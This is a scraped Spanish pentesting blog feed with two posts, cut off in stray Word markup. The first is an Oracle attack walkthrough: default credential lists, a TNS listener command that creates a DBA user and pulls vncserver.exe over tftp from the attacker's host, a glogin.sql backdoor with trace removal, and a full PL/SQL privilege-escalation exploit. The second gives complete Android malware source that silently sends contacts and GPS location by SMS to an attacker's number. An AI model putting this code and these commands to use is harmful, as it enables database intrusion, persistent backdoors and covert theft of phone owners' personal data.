<a href="http://2.bp.blogspot.com/-4KRRv8sAKMw/UNcvj6jGxqI/AAAAAAAAAO0/SV8thzl6Z4M/s1600/oracle6.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-4KRRv8sAKMw/UNcvj6jGxqI/AAAAAAAAAO0/SV8thzl6Z4M/s1600/oracle6.jpg" /></a></div>
<br />
<a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a>En este caso el SID es XE, el que se establece por defecto, por ello un ataque de<br />diccionario es altamente efectivo, en otro caso nos quedaría el bruteforcing….ya conocemos el<br />SID ahora necesitamos una cuenta.<br />
<br />
<br />
<b>CONECTARSE A LA BD (VIA SQLPLUS)</b><br />
<br />Una vez obtenida la ip, puerto, datos del listener, etc…para poder conectarnos<br />necesitamos una cuenta de Oracle, lo más efectivo siempre es lo más fácil, lo primero que<br />intentaremos es usar alguna de las cuentas que crea Oracle by default y que suelen tener<br />nombres de usuario/passwords conocidos, por lo que nos creamos un diccionario con estos<br />datos y le metemos un pepinazo cruzando los dedos…los mejores usuarios son:<br />
<br />dbsnmp/dbsnmp (cercano a DBA)<br />outln/outln (cercano a DBA)<br />scott/tiger (usuario normal con create privileges)<br />system/manager (DBA)<br />sys/change_on_install (DBA)<br />
<br />Como somos asiduos de Tele5 no nos gusta pensar, por lo que basicamente<br />lanzaremos un sqlplus user/password@//<IP_ADDRESS>:<PORT>/<SID> con el diccionario de<br />users/pass.<br />En caso de éxito y dependiendo con que usuario nos loguemos, podremos hacer:<br />select * from v$version;<br />select username from all_users;<br />select * from session_roles;<br />select username,password from dba_users; (solo DBA )<br />show parameter<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-Djm5ZPHKay4/UNcwJYQ2hlI/AAAAAAAAAO8/iYXEEr9DwtU/s1600/oracle7.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="230" src="http://4.bp.blogspot.com/-Djm5ZPHKay4/UNcwJYQ2hlI/AAAAAAAAAO8/iYXEEr9DwtU/s640/oracle7.jpg" width="640" /></a></div>
<br />
<br />
<b>COMPROBAR LAS PASSWORDS DE LA BASE DE DATOS</b><br />
<br />
<br />Mientras nos vamos a tomar un café, preparamos un diccionario de los gordos<br />(+100000) y usando checkpwd vamos a ver que obtenemos:<br />
<br />checkpwd system/alexora1@//192.168.2.232/ora9201 default_passwords.txt<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-ofEvvYWmK04/UNcw1UHXTaI/AAAAAAAAAPE/qIZHExcwZcw/s1600/oracle8.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="http://2.bp.blogspot.com/-ofEvvYWmK04/UNcw1UHXTaI/AAAAAAAAAPE/qIZHExcwZcw/s640/oracle8.jpg" width="632" /></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"></a></div>
<br />
<b><br /></b>
<b>HACKINIG TNS LISTENER (Versión blanda)</b><br />
<br />Si estamos ante una versión <=9.2.6 vamos a probar lo siguiente:<br />En primer lugar vamos a habilitar un tftpd, ¿para qué?...bueno puede que seas<br />optimista y ya estés pensando en subir al server “algo”… si usas backtrack ya lo tienes a mano.<br /><br />
Nos copiamos el binario, por ejemplo el del netcat al /tmp para que esté a mano.<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-0hA4hO-T9_s/UNcxhqIokBI/AAAAAAAAAPM/UTyxGB93AMU/s1600/oracle9.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="370" src="http://2.bp.blogspot.com/-0hA4hO-T9_s/UNcxhqIokBI/AAAAAAAAAPM/UTyxGB93AMU/s640/oracle9.jpg" width="640" /></a></div>
<br />
<br />
<br />A través del TNS Listener, el cual no está protegido tenemos información muy útil, como se puede ver a continuación:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-zZ9XmamYioU/UNcyA-WQpNI/AAAAAAAAAPU/_N7xQIj1t8Y/s1600/oracle10.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="474" src="http://2.bp.blogspot.com/-zZ9XmamYioU/UNcyA-WQpNI/AAAAAAAAAPU/_N7xQIj1t8Y/s640/oracle10.jpg" width="640" /></a></div>
<br />
<br />
Con lo cual tenemos el path de ORACLE_HOME.<br />
El próximo paso será cambiar el nombre y el directorio del logfile, ej:<br />c:\oracle\ora92\sqlplus\admin\glogin.sql, modificando glogin.sql es posible meter contenido<br />entre los .rhost (a no ser que a nivel SO tengan deshabilitado el run de R* -Services, típico en<br />Unix), igualmente podríamos intentar subir keys de ssh autorizadas…pero no lo vamos a ver<br />aquí. <br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-plWbupXJ5IE/UNcydYIlEgI/AAAAAAAAAPc/dCJmhgz5lWo/s1600/oracle11.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="176" src="http://3.bp.blogspot.com/-plWbupXJ5IE/UNcydYIlEgI/AAAAAAAAAPc/dCJmhgz5lWo/s640/oracle11.jpg" width="640" /></a></div>
<br />
<br />
Ahora podemos escribir comandos del sistema, nos bajamos y ejecutamos el binario<br />que nos habilita a ello y empezamos.<br />
<br />tnscmd10g.pl –h 192.168.2.238 –rawcmd “(CONNECT_DATA=((set term off create user<br />usuarioquevasacrear identified by password;<br />grant dba to usuarioquevasacrear;<br />host tftp –I 192.168.2.30 GET vncserver.exe vncserver.exe<br />host vncserver<br />set term on<br />
“<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-GjnsjA8kHMY/UNczRhpmk0I/AAAAAAAAAPo/KgIl4_89OvI/s1600/oracle12.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="338" src="http://1.bp.blogspot.com/-GjnsjA8kHMY/UNczRhpmk0I/AAAAAAAAAPo/KgIl4_89OvI/s640/oracle12.jpg" width="640" /></a></div>
<br />
<a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"> </a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"> </a>A continuación borramos las huellas restableciendo la configuración del listener al<br />estado original (si a nivel sistema tuviesen algún mecanismo de chequeo de integridad tanto a<br />nivel SO como a nivel Oracle…estaríamos jodidos)<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-OL6Fkp4_g_c/UNczm-FqlLI/AAAAAAAAAPw/RnlzFagqZjQ/s1600/oracle13.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="174" src="http://3.bp.blogspot.com/-OL6Fkp4_g_c/UNczm-FqlLI/AAAAAAAAAPw/RnlzFagqZjQ/s640/oracle13.jpg" width="640" /></a></div>
<br />
<br />
A partir de ahora cuando el DBA use sqlplus en el servidor, nuestro código nos<br />habilitará para descargar y ejecutar el vncserver o netcat, teniendo así una buena backdoor!<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-g_RPPG0MO80/UNc0D_HTHiI/AAAAAAAAAP4/1tNoAVNl_rg/s1600/oracle14.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="306" src="http://1.bp.blogspot.com/-g_RPPG0MO80/UNc0D_HTHiI/AAAAAAAAAP4/1tNoAVNl_rg/s640/oracle14.jpg" width="640" /></a></div>
<br />
<a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"> </a><br />
Tenemos un usuario que nos hemos creado para esto….<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-ntALLMC9-_s/UNc0bdVSOZI/AAAAAAAAAQA/ZoUvhCSfhcs/s1600/oracle15.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="450" src="http://2.bp.blogspot.com/-ntALLMC9-_s/UNc0bdVSOZI/AAAAAAAAAQA/ZoUvhCSfhcs/s640/oracle15.jpg" width="640" /></a></div>
<br />
<a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a>Llegados aquí solo podemos decir GAME OVER.<br />
<br />Pero alguien se preguntará, claro como ya tienes un usuario privilegiado así juega<br />cualquiera, que pasa si en el ataque con el diccionario no consigo el acceso con un usuario<br />privilegiado?<br />
<br />
<b><br /></b>
<b>ESCALADA DE PRIVILEGIOS</b><br />
<br />Existen muchas formas para realizar una escalada de privilegios, tantas como ideas se<br />nos puedan ocurrir, vamos a hacer la que se nos ocurra en primera instancia (nunca estará<br />garantizada ninguna de ellas).<br />
<br />Son muy conocidas las vulnerabilidades que afectan a dbms_export_extension (Oracle<br />8i – 10.2.0.2) por lo que vamos a darle caña!<br />
<br />Una posibilidad podría ser mediante un sqlinjection en dbms_export_extension,<br />dependiendo de la versión a tratar deberemos ver que podemos hacer, buscar por ejemplo<br />exploits en exploit-db , etc… si no existiese ningún exploit, lo tenemos crudo, salvo que tengas mucho tiempo libre y encontrar una vulnerabilidad y desarrollar el exploit.<br />
<br />
En este caso, si que tenemos un exploit:<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-rZBFrstWpqI/UNc1FVRvI1I/AAAAAAAAAQU/zWtK-JHC1x4/s1600/oracle16.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="410" src="http://3.bp.blogspot.com/-rZBFrstWpqI/UNc1FVRvI1I/AAAAAAAAAQU/zWtK-JHC1x4/s640/oracle16.jpg" width="640" /></a></div>
<br />
<br />
Creamos una función en un paquete e inyectamos esta función, la función se ejecutará<br />con el usuario SYS.<br />
<br />CREATE OR REPLACE<br />PACKAGE BT20_EXPLOIT AUTHID CURRENT_USER<br />IS<br />FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3<br />VARCHAR2,p4 VARCHAR2,env SYS.odcienv)<br />RETURN NUMBER;<br />END;<br />/<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-yRmjajDCbkE/UNc1Ziwv7-I/AAAAAAAAAQc/vmQN7b-OJnQ/s1600/oracle17.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="290" src="http://2.bp.blogspot.com/-yRmjajDCbkE/UNc1Ziwv7-I/AAAAAAAAAQc/vmQN7b-OJnQ/s640/oracle17.jpg" width="640" /></a></div>
<br />
<br />
Tenemos el paquete listo!<br />
<br />CREATE OR REPLACE PACKAGE BODY BT20_EXPLOIT<br />IS<br />FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3<br />VARCHAR2,p4 VARCHAR2,env SYS.odcienv)<br />RETURN NUMBER<br />IS<br />pragma autonomous_transaction;<br />BEGIN<br />EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';<br />COMMIT;<br />RETURN(1);<br />END;<br />END;<br />
/<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-yRmjajDCbkE/UNc1Ziwv7-I/AAAAAAAAAQc/vmQN7b-OJnQ/s1600/oracle17.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="290" src="http://2.bp.blogspot.com/-yRmjajDCbkE/UNc1Ziwv7-I/AAAAAAAAAQc/vmQN7b-OJnQ/s640/oracle17.jpg" width="640" /></a></div>
<br />
<br />
<a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a>Ya falta poco!<br />Inyectamos la función en n dbms_export_extension<br />
<br />DECLARE<br />INDEX_NAME VARCHAR2(200);<br />INDEX_SCHEMA VARCHAR2(200);<br />TYPE_NAME VARCHAR2(200);<br />TYPE_SCHEMA VARCHAR2(200);<br />VERSION VARCHAR2(200);<br />NEWBLOCK PLS_INTEGER;<br />GMFLAGS NUMBER;<br />v_Return VARCHAR2(200);<br />BEGIN<br />INDEX_NAME := 'A1';<br />INDEX_SCHEMA := 'SCOTT';<br />TYPE_NAME := 'BT20_EXPLOIT';<br />TYPE_SCHEMA := 'SCOTT';<br />VERSION := '10.2.0.2.0';<br />GMFLAGS := 1;<br />v_Return :=<br />SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(<br />INDEX_NAME => INDEX_NAME, INDEX_SCHEMA => INDEX_SCHEMA,<br />TYPE_NAME<br />=> TYPE_NAME,<br />TYPE_SCHEMA => TYPE_SCHEMA, VERSION => VERSION, NEWBLOCK =><br />NEWBLOCK, GMFLAGS => GMFLAGS<br />);<br />END;<br />/<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-NlRYQTndEbk/UNc2Q8OB_RI/AAAAAAAAAQo/LmdXGgAcPGo/s1600/oracle19.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="440" src="http://2.bp.blogspot.com/-NlRYQTndEbk/UNc2Q8OB_RI/AAAAAAAAAQo/LmdXGgAcPGo/s640/oracle19.jpg" width="640" /></a></div>
<a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a><br />
Solo tenemos que hacer logout y volver a hacer login para ser DBA!! (si el<br />sistema no es actualizado o parcheado continuaremos pudiendo hacer esto).<br />
<br /><br />
<a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"> </a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"> </a><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"></a></div>
<br />
<a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"></a><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"></a></div>
<br />
<br />REAL PENTESTINGhttp://www.blogger.com/profile/02222861083999610170noreply@blogger.com0tag:blogger.com,1999:blog-694521803021083340.post-81653394947352653442012-11-04T12:46:00.000-08:002012-11-04T12:46:43.318-08:00DESARROLLO DE MALWARE PARA ANDROID (PARTE II)Veamos ahora que código
podemos incluir a nuestra aplicación para darle funcionalidades que podríamos
usar en un test de intrusión.
<br />
<br />
Supongamos que o bien tenemos acceso a un dispositivo de forma física o que podemos mediante alguna técnica de ingeniería social hacer que la víctima se instale el apk que le proporcionamos. Para demostrar la debilidad de un posible antivirus instalado en el dispositivo, o bien las enormes posibilidades de extracción de información que nos ofrece android, podríamos por ejemplo extraer la agenda de contactos de la víctima y transmitir su posición con las coordenadas GPS que nos ofrezca el dispositivo.<br />
<br />
El código lo insertaremos en el archivo principal (Mainactivitiy.java) tras el punto main que recordemos que en el caso de las aplicaciones de Android esta después de oncreate.
<br />
Nota (Que ningún experto programador en android se tire de los pelos, no se habla de activities y demás al no tratarse de un curso de Android, solamente se explica lo justo para realizar la tarea deseada y poder asimilarlo todo en el menor tiempo posible).<br />
<br />
Código que accede a los contactos del dispositivo y los almacena en un hashmap para después hacer con ellos lo que queramos:<br />
<br />
<pre class="brush: js">ArrayList<HashMap<String, String>> agenda = getContacts();
for (HashMap<String, String> map : agenda) {
for (Map.Entry<String, String> mapEntry : map.entrySet()) {
key = mapEntry.getKey();
value = mapEntry.getValue();
datos = datos + "--" + key + ":" + value;
}
}
private ArrayList<HashMap<String, String>> getContacts() {
ContentResolver cr = getContentResolver();
Cursor cCur = cr.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
Cursor pCur = cr.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, null, null, null);
ArrayList<HashMap<String, String>> data = new ArrayList<HashMap<String, String>>();
HashMap<String, String> contacts = new HashMap<String, String>();
while (cCur.moveToNext()) {
String id = cCur.getString(cCur.getColumnIndex(ContactsContract.Contacts.LOOKUP_KEY));
String name = cCur.getString(cCur.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME));
contacts.put(id, name);
}
while (pCur.moveToNext()) {
String id = pCur.getString(pCur.getColumnIndex(ContactsContract.Contacts.LOOKUP_KEY));
String name = contacts.get(id);
String phone = pCur.getString(pCur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DATA));
HashMap<String, String> h = new HashMap<String, String>();
h.put("name", name);
h.put("phone", phone);
data.add(h);
}
pCur.close();
cCur.close();
return data;
}
</pre>
<br />
<br />
Las funciones para la extracción de datos de coordenadas GPS del dispositivo son las siguientes:
<br />
<pre class="brush: js">LocationManager LC = (LocationManager) getSystemService(Context.LOCATION_SERVICE);
Criteria criteria = new Criteria();
provider = LC.getBestProvider(criteria, false);
Location loc = LC.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);
if (loc != null) {
Toast.makeText(this, "Provider:" + provider, Toast.LENGTH_LONG).show();
onLocationChanged(loc);
} else {
latitudeval.setText("NO PROVIDER");
}
public void onLocationChanged(Location location) {
double lat = location.getLatitude();
double lon = location.getLongitude();
lati = String.valueOf(lat);
longi = String.valueOf(lon);
}
</pre>
<br />
<br />
Para finalizar el trozo de código que envía el mensaje es el siguiente:
<br />
<pre class="brush: js">phoneNo = "66666666";
sms = "Terminal Infectado: Datos Agenda:" + datos + " Localizacion:" + " " + lati + " " + longi;
SmsManager smsManager = SmsManager.getDefault();
smsManager.sendTextMessage(phoneNo, null, sms, null, null);
</pre>
<br />
<br />
El mainactivity.java completo quedaría de la siguiente forma:
<br />
<br />
<pre class="brush: js">package Realpentester.Malware;
import android.app.Activity;
import android.content.*;
import android.database.Cursor;
import android.location.*;
import android.os.Bundle;
import android.provider.ContactsContract;
import android.telephony.SmsManager;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;
import java.util.*;
public class Realpentester extends Activity {
private TextView latitudeval;
private String provider;
TextView txtEnviado;
public String key;
public String value;
public String datos = "";
public String phoneNo;
public String sms;
public String lati;
public String longi;
/**
* Called when the activity is first created.
*/
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
txtEnviado = (TextView) findViewById(R.id.txtEnviado);
LocationManager LC = (LocationManager) getSystemService(Context.LOCATION_SERVICE);
Criteria criteria = new Criteria();
provider = LC.getBestProvider(criteria, false);
Location loc = LC.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);
if (loc != null) {
Toast.makeText(this, "Provider:" + provider, Toast.LENGTH_LONG).show();
onLocationChanged(loc);
} else {
latitudeval.setText("NO PROVIDER");
}
ArrayList<HashMap<String, String>> agenda = getContacts();
for (HashMap<String, String> map : agenda) {
for (Map.Entry<String, String> mapEntry : map.entrySet()) {
key = mapEntry.getKey();
value = mapEntry.getValue();
datos = datos + "--" + key + ":" + value;
}
}
//LINEA DONDE SE CAMBIAN OS TELEFONOS A LOS QUE MANDAMOS LOS DATOS EXTRAIDOS DEL DISPOSITIVO
phoneNo = "66666666";
sms = "Terminal Infectado: Datos Agenda:" + datos + " Localizacion:" + " " + lati + " " + longi;
SmsManager smsManager = SmsManager.getDefault();
smsManager.sendTextMessage(phoneNo, null, sms, null, null);
}
public void onLocationChanged(Location location) {
double lat = location.getLatitude();
double lon = location.getLongitude();
lati = String.valueOf(lat);
longi = String.valueOf(lon);
}
private ArrayList<HashMap<String, String>> getContacts() {
ContentResolver cr = getContentResolver();
Cursor cCur = cr.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
Cursor pCur = cr.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, null, null, null);
ArrayList<HashMap<String, String>> data = new ArrayList<HashMap<String, String>>();
HashMap<String, String> contacts = new HashMap<String, String>();
while (cCur.moveToNext()) {
String id = cCur.getString(cCur.getColumnIndex(ContactsContract.Contacts.LOOKUP_KEY));
String name = cCur.getString(cCur.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME));
contacts.put(id, name);
}
while (pCur.moveToNext()) {
String id = pCur.getString(pCur.getColumnIndex(ContactsContract.Contacts.LOOKUP_KEY));
String name = contacts.get(id);
String phone = pCur.getString(pCur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DATA));
HashMap<String, String> h = new HashMap<String, String>();
h.put("name", name);
h.put("phone", phone);
data.add(h);
}
pCur.close();
cCur.close();
return data;
}
}</pre>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
</div>
<br />
Y una imagen vale más que mil palabras, con solo instalar nuestro APK en un Android y ejecutar la aplicación, se realizará la consulta a la base de datos de la agenda, se obtendra un solo contacto de la agenda (por no tener un sms extramadamente largo) y se obtendra la posicion actual con latitud y longitud de GPS y se enviarán todos estos datos vía SMS al número que queramos:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-YDldw9Nwpt8/UJUxw0GTNfI/AAAAAAAAANw/sjJdD6Bgt98/s1600/img18.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="406" src="http://4.bp.blogspot.com/-YDldw9Nwpt8/UJUxw0GTNfI/AAAAAAAAANw/sjJdD6Bgt98/s640/img18.jpg" width="640" /></a></div>
<br />
<span style="mso-ansi-language: ES;">Para todos aquellos con menos conocimientos de java, o que piensen que acceder a todas las funcionalidades del dispositivo es algo muy complejo, indicarles que se cuenta por ejemplo con la siguiente URL: http://www.androidsnippets.com/</span>
<br />
<div class="MsoNormal">
<span style="mso-ansi-language: ES;"><br />Existen muchas páginas similares con el código funcional necesario para programar cualquier cosa que se nos ocurra. Google es tu amigo!!!<br /> </span></div>
<div class="MsoNormal">
</div>
<br />REAL PENTESTINGhttp://www.blogger.com/profile/02222861083999610170noreply@blogger.com2tag:blogger.com,1999:blog-694521803021083340.post-53360717187466708392012-11-02T17:02:00.000-07:002012-11-02T17:02:42.252-07:00DESARROLLO DE MALWARE PARA ANDROID (PARTE I)<!--[if gte mso 9]><xml>
<w:WordDocument>
<w:View>Normal</w:View>
<w:Zoom>0</w:Zoom>
<w:TrackMoves/>
<w:TrackFormatting/>
<w:HyphenationZone>21</w:HyphenationZone>
<w:PunctuationKerning/>
<w:ValidateAgainstSchemas/>
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
<w:DoNotPromoteQF/>
<w:LidThemeOther>ES</w:LidThemeOther>
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
<w:Compatibility>
<w:BreakWrappedTables/>
<w:SnapToGridInCell/>
<w:WrapTextWithPunct/>
<w:UseAsianBreakRules/>
<w:DontGrowAutofit/>
<w:SplitPgBreakAndParaMark/>
<w:EnableOpenTypeKerning/>
<w:DontFlipMirrorIndents/>
<w:OverrideTableStyleHps/>
</w:Compatibility>
<m:mathPr>
<m:mathFont m:val="Cambria Math"/>
<m:brkBin m:val="before"/>
<m:brkBinSub m:val="--"/>
<m:smallFrac m:val="off"/>
<m:dispDef/>
<m:lMargin m:val="0"/>
<m:rMargin m:val="0"/>
<m:defJc m:val="centerGroup"/>
<m:wrapIndent m:val="1440"/>
<m:intLim m:val="subSup"/>
<m:naryLim m:val="undOvr"/>
</m:mathPr></w:WordDocument>
</xml><![endif]--><br />
<!--[if gte mso 9]><xml>
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
LatentStyleCount="267">
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
<w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption"/>
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
UnhideWhenUsed="false" Name="Table Grid"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 1"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
